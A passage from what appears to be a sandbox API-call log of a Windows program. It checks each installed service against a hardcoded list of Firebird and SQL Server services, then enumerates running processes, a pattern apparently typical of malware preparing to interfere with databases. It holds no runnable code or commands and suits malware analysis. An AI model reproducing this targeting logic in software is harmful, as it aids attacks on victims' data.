lpString2="Appinfo") returned 1 [0290.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0290.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0290.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0290.311] lstrlenW (lpString="AppXSvc") returned 7 [0290.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0290.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0290.311] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0290.311] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0290.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0290.311] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0290.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0290.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0290.312] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0290.312] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0290.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0290.312] lstrlenW (lpString="Audiosrv") returned 8 [0290.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0290.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0290.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0290.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0290.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0290.312] lstrlenW (lpString="BFE") returned 3 [0290.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0290.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0290.312] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0290.312] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0290.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0290.312] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0290.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0290.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0290.312] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0290.312] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0290.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0290.312] lstrlenW (lpString="CDPSvc") returned 6 [0290.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0290.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0290.312] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0290.312] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0290.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0290.312] lstrlenW (lpString="ClickToRunSvc") returned 13 [0290.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0290.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0290.313] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0290.313] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0290.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0290.313] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0290.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0290.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0290.313] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0290.313] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0290.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0290.313] lstrlenW (lpString="CryptSvc") returned 8 [0290.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0290.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0290.313] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0290.313] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0290.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0290.313] lstrlenW (lpString="DcomLaunch") returned 10 [0290.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0290.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0290.313] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0290.313] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0290.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0290.313] lstrlenW (lpString="DeviceAssociationService") returned 24 [0290.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0290.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0290.313] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0290.313] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0290.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0290.313] lstrlenW (lpString="Dhcp") returned 4 [0290.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0290.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0290.313] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0290.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0290.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0290.314] lstrlenW (lpString="Dnscache") returned 8 [0290.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0290.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0290.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0290.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0290.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0290.314] lstrlenW (lpString="DPS") returned 3 [0290.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0290.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0290.314] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0290.314] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0290.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0290.314] lstrlenW (lpString="DusmSvc") returned 7 [0290.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0290.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0290.314] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0290.314] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0290.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0290.314] lstrlenW (lpString="EventLog") returned 8 [0290.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0290.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0290.314] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0290.314] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0290.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0290.314] lstrlenW (lpString="EventSystem") returned 11 [0290.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0290.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0290.314] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0290.315] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0290.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0290.315] lstrlenW (lpString="FontCache") returned 9 [0290.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0290.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0290.315] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0290.315] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0290.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0290.315] lstrlenW (lpString="gpsvc") returned 5 [0290.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0290.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0290.315] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0290.315] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0290.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0290.315] lstrlenW (lpString="iphlpsvc") returned 8 [0290.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0290.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0290.315] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0290.315] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0290.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0290.315] lstrlenW (lpString="KeyIso") returned 6 [0290.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0290.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0290.315] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0290.315] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0290.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0290.315] lstrlenW (lpString="LanmanServer") returned 12 [0290.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0290.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0290.315] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0290.315] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0290.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0290.316] lstrlenW (lpString="LanmanWorkstation") returned 17 [0290.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0290.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0290.316] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0290.316] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0290.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0290.316] lstrlenW (lpString="lfsvc") returned 5 [0290.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0290.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0290.316] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0290.316] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0290.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0290.317] lstrlenW (lpString="lmhosts") returned 7 [0290.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0290.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0290.317] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0290.317] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0290.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0290.317] lstrlenW (lpString="LSM") returned 3 [0290.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0290.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0290.317] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0290.317] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0290.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0290.317] lstrlenW (lpString="MpsSvc") returned 6 [0290.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0290.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0290.317] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0290.317] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0290.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0290.317] lstrlenW (lpString="NcbService") returned 10 [0290.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0290.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0290.317] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0290.317] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0290.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0290.317] lstrlenW (lpString="netprofm") returned 8 [0290.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0290.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0290.317] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0290.317] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0290.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0290.317] lstrlenW (lpString="NgcSvc") returned 6 [0290.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0290.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0290.318] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0290.318] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0290.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0290.318] lstrlenW (lpString="NlaSvc") returned 6 [0290.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0290.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0290.318] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0290.318] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0290.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0290.318] lstrlenW (lpString="nsi") returned 3 [0290.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0290.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0290.318] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0290.318] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0290.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0290.318] lstrlenW (lpString="PcaSvc") returned 6 [0290.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0290.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0290.318] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0290.318] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0290.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0290.318] lstrlenW (lpString="PlugPlay") returned 8 [0290.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0290.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0290.318] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0290.318] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0290.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0290.318] lstrlenW (lpString="Power") returned 5 [0290.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0290.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0290.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0290.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0290.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0290.319] lstrlenW (lpString="ProfSvc") returned 7 [0290.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0290.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0290.319] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0290.319] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0290.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0290.319] lstrlenW (lpString="RpcEptMapper") returned 12 [0290.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0290.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0290.319] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0290.319] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0290.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0290.319] lstrlenW (lpString="RpcSs") returned 5 [0290.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0290.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0290.319] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0290.319] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0290.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0290.319] lstrlenW (lpString="SamSs") returned 5 [0290.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0290.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0290.319] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0290.319] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0290.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0290.319] lstrlenW (lpString="Schedule") returned 8 [0290.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0290.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0290.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0290.320] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0290.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0290.320] lstrlenW (lpString="SecurityHealthService") returned 21 [0290.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0290.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0290.320] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0290.320] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0290.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0290.320] lstrlenW (lpString="SENS") returned 4 [0290.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0290.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0290.320] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0290.320] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0290.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0290.320] lstrlenW (lpString="ShellHWDetection") returned 16 [0290.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0290.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0290.320] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0290.320] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0290.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0290.320] lstrlenW (lpString="Spooler") returned 7 [0290.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0290.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0290.320] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0290.320] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0290.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0290.320] lstrlenW (lpString="StateRepository") returned 15 [0290.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0290.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0290.320] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0290.320] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0290.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0290.321] lstrlenW (lpString="SysMain") returned 7 [0290.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0290.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0290.321] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0290.321] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0290.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0290.321] lstrlenW (lpString="SystemEventsBroker") returned 18 [0290.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0290.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0290.321] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0290.321] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0290.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0290.321] lstrlenW (lpString="Themes") returned 6 [0290.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0290.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0290.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0290.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0290.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0290.321] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0290.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0290.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0290.321] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0290.321] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0290.321] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x238 [0290.328] Process32FirstW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.329] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0290.329] lstrlenW (lpString="System") returned 6 [0290.329] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0290.330] lstrlenW (lpString="smss.exe") returned 8 [0290.330] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.330] lstrlenW (lpString="csrss.exe") returned 9 [0290.330] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0290.331] lstrlenW (lpString="wininit.exe") returned 11 [0290.331] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.339] lstrlenW (lpString="csrss.exe") returned 9 [0290.339] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0290.340] lstrlenW (lpString="winlogon.exe") returned 12 [0290.340] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0290.341] lstrlenW (lpString="services.exe") returned 12 [0290.341] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, 